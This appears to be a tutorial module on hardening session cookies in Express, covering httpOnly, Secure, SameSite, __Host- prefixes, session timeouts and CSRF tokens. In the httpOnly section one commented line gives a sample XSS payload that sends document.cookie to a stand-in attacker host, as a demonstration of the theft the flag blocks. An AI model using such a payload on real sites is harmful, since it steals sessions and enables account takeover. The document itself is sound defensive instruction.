🍪 Cookie Security

The Threats

Because a session cookie is a bearer credential — whoever holds it is treated as the user — it faces three main attacks. Each cookie flag you'll learn maps directly to one of them.

httpOnly: Block XSS Theft

The httpOnly flag makes a cookie invisible to JavaScript. The browser still sends it with every request, but document.cookie can't see it — so even a successful XSS injection can't read your session ID.

app.use(session({
  secret: process.env.SESSION_SECRET,
  cookie: { httpOnly: true }   // JavaScript cannot read this cookie
}));

// Injected via an XSS vulnerability, this exfiltrates the cookie:
// <script>fetch('https://attacker.example/steal?c=' + document.cookie)</script>

// With httpOnly, document.cookie simply doesn't contain the session ID:
console.log(document.cookie); // session cookie is NOT present

express-session defaults httpOnly to true — keep it that way. There is essentially never a reason for client JavaScript to read a session cookie.

Secure: HTTPS Only

The Secure flag tells the browser to send the cookie only over encrypted HTTPS connections. Without it, a single plain-HTTP request could leak the cookie to anyone on the network.

app.use(session({
  secret: process.env.SESSION_SECRET,
  cookie: {
    // HTTP is used in local dev, HTTPS in production — so toggle by environment:
    secure: process.env.NODE_ENV === 'production'
  }
}));

app.set('trust proxy', 1); // honor X-Forwarded-Proto from the proxy

SameSite: Curb CSRF

SameSite controls whether the cookie is sent on requests originating from other sites. It's your first line of defense against CSRF, where a malicious page tries to make an authenticated request on the user's behalf.

app.use(session({
  secret: process.env.SESSION_SECRET,
  cookie: {
    sameSite: 'lax'   // good default; blocks most cross-site request forgery
  }
}));

Cookie Prefixes

Cookie name prefixes are a browser-enforced guarantee. If a cookie's name starts with a reserved prefix, the browser refuses to store it unless it meets strict conditions — so an attacker can't overwrite it with a weaker version.

app.use(session({
  name: '__Host-sid',           // browser enforces the __Host- rules below
  secret: process.env.SESSION_SECRET,
  cookie: {
    httpOnly: true,
    secure: true,               // required by __Host-
    sameSite: 'lax',
    path: '/'                   // required by __Host-
    // NOTE: do NOT set `domain` — __Host- forbids it
  }
}));

Expiry & Timeouts

A cookie that lives forever is a stolen credential that works forever. Short lifetimes shrink the attacker's window. Two timeouts work together:

• Idle timeout — expires the session after a period of inactivity (e.g. 30 minutes)
• Absolute timeout — forces re-authentication after a hard cap regardless of activity (e.g. 24 hours)

const IDLE = 30 * 60 * 1000;          // 30 minutes
const ABSOLUTE = 24 * 60 * 60 * 1000; // 24 hours

app.use(session({
  secret: process.env.SESSION_SECRET,
  rolling: true,                       // reset maxAge on each response = sliding idle window
  cookie: { httpOnly: true, sameSite: 'lax', maxAge: IDLE }
}));

// Enforce the absolute cap on top of the idle window:
app.use((req, res, next) => {
  if (!req.session?.userId) return next();
  if (!req.session.createdAt) req.session.createdAt = Date.now();

  if (Date.now() - req.session.createdAt > ABSOLUTE) {
    return req.session.destroy(() => res.status(440).json({ message: 'Session expired' }));
  }
  next();
});

CSRF Protection

Cross-Site Request Forgery abuses the fact that browsers attach cookies automatically. A malicious page can submit a form to your site, and the browser dutifully sends the user's session cookie along — so the request looks authentic. The defense: require a secret token that the attacker's page can't know.

Because a cross-site page can send the cookie but cannot read a token your server planted (same-origin policy), demanding that token per request stops the forgery. The maintained modern middleware is csrf-csrf (the old csurf package is deprecated).

// npm install csrf-csrf
const { doubleCsrf } = require('csrf-csrf');

const { doubleCsrfProtection, generateToken } = doubleCsrf({
  getSecret: () => process.env.CSRF_SECRET,
  cookieName: '__Host-psifi.x-csrf-token',
  cookieOptions: { httpOnly: true, secure: true, sameSite: 'lax', path: '/' },
  getTokenFromRequest: (req) => req.headers['x-csrf-token']
});

// Hand the SPA a token to echo back on writes:
app.get('/api/csrf-token', (req, res) => {
  res.json({ csrfToken: generateToken(req, res) });
});

// Guard state-changing routes; GET/HEAD/OPTIONS are exempt by design:
app.post('/api/profile', doubleCsrfProtection, (req, res) => {
  // reached only if the token is valid
  res.json({ message: 'Profile updated' });
});

// Turn CSRF failures into a clean 403:
app.use((err, req, res, next) => {
  if (err.code === 'EBADCSRFTOKEN' || err.message?.includes('csrf')) {
    return res.status(403).json({ message: 'Invalid CSRF token' });
  }
  next(err);
});

// Frontend: fetch the token once, then send it on every write.
async function post(url, body) {
  const { csrfToken } = await fetch('/api/csrf-token', { credentials: 'include' })
    .then(r => r.json());

  return fetch(url, {
    method: 'POST',
    credentials: 'include',                 // send the session cookie
    headers: { 'Content-Type': 'application/json', 'X-CSRF-Token': csrfToken },
    body: JSON.stringify(body)
  });
}

A Full Secure Config

Everything from this module, assembled: a Redis-backed session, a hardened __Host- cookie, session regeneration on login, and CSRF protection.

require('dotenv').config();
const express = require('express');
const session = require('express-session');
const { RedisStore } = require('connect-redis');
const { createClient } = require('redis');
const helmet = require('helmet');

const app = express();
app.set('trust proxy', 1);        // correct `secure` behavior behind a proxy
app.use(helmet());                // sensible security headers
app.use(express.json());

const redisClient = createClient({ url: process.env.REDIS_URL });
redisClient.connect().catch(console.error);

app.use(session({
  store: new RedisStore({ client: redisClient, prefix: 'sess:', ttl: 60 * 60 }),
  name: '__Host-sid',
  secret: process.env.SESSION_SECRET, // strong, from the environment
  resave: false,
  saveUninitialized: false,
  rolling: true,
  cookie: {
    httpOnly: true,                                // no JS access (anti-XSS)
    secure: process.env.NODE_ENV === 'production', // HTTPS only (must be true for __Host-)
    sameSite: 'lax',                               // anti-CSRF default
    path: '/',                                     // required by __Host-
    maxAge: 60 * 60 * 1000                         // 1-hour idle window
  }
}));

app.post('/login', async (req, res) => {
  // ...verify credentials...
  req.session.regenerate((err) => {                // new ID = anti-fixation
    if (err) return res.status(500).json({ message: 'Login failed' });
    req.session.userId = 'user-123';
    req.session.createdAt = Date.now();
    req.session.save(() => res.json({ message: 'Logged in' }));
  });
});

app.post('/logout', (req, res) => {
  req.session.destroy(() => {
    res.clearCookie('__Host-sid');
    res.json({ message: 'Logged out' });
  });
});

app.listen(3000, () => console.log('Hardened session server on :3000'));

Practice & Quiz

app.use(session({
  name: '__Host-sid',
  secret: process.env.SESSION_SECRET,
  resave: false,
  saveUninitialized: false,
  cookie: {
    httpOnly: true,
    secure: true,        // required by __Host-
    sameSite: 'lax',
    path: '/',           // required by __Host-
    maxAge: 3600000
    // no `domain` — forbidden by __Host-
  }
}));

const { doubleCsrf } = require('csrf-csrf');
const { doubleCsrfProtection, generateToken } = doubleCsrf({
  getSecret: () => process.env.CSRF_SECRET,
  getTokenFromRequest: (req) => req.headers['x-csrf-token']
});

app.get('/csrf-token', (req, res) => {
  res.json({ csrfToken: generateToken(req, res) });
});

app.post('/settings', doubleCsrfProtection, (req, res) => {
  res.json({ message: 'Settings saved' });
});

Best Practices & Pitfalls

✅ Do

• Set httpOnly, secure (in production), and sameSite on every session cookie
• Use the __Host- prefix once you're fully on HTTPS
• Serve everything over HTTPS and add app.set('trust proxy', 1) behind a proxy
• Keep sessions short-lived with idle + absolute timeouts
• Add a CSRF token to every state-changing route, on top of SameSite
• Add helmet() for a baseline of secure response headers

❌ Don't

• Rely on SameSite alone as your entire CSRF defense
• Put real data in the cookie — the session ID must be an opaque reference
• Use the deprecated csurf package for new code — prefer csrf-csrf
• Set a Domain when using __Host- (the cookie will silently be rejected)
• Forget to clearCookie() on logout after destroying the session

Summary

📚 Additional Resources

• OWASP — Session Management Cheat Sheet
• OWASP — CSRF Prevention Cheat Sheet
• Express — Security best practices
• MDN — Set-Cookie security

🚀 What's Next?

You've mastered stateful, session-based authentication end to end. Next we broaden the picture to delegated auth: OAuth 2.0 Flow Explained — how "Sign in with Google" lets a third party vouch for a user without ever sharing their password.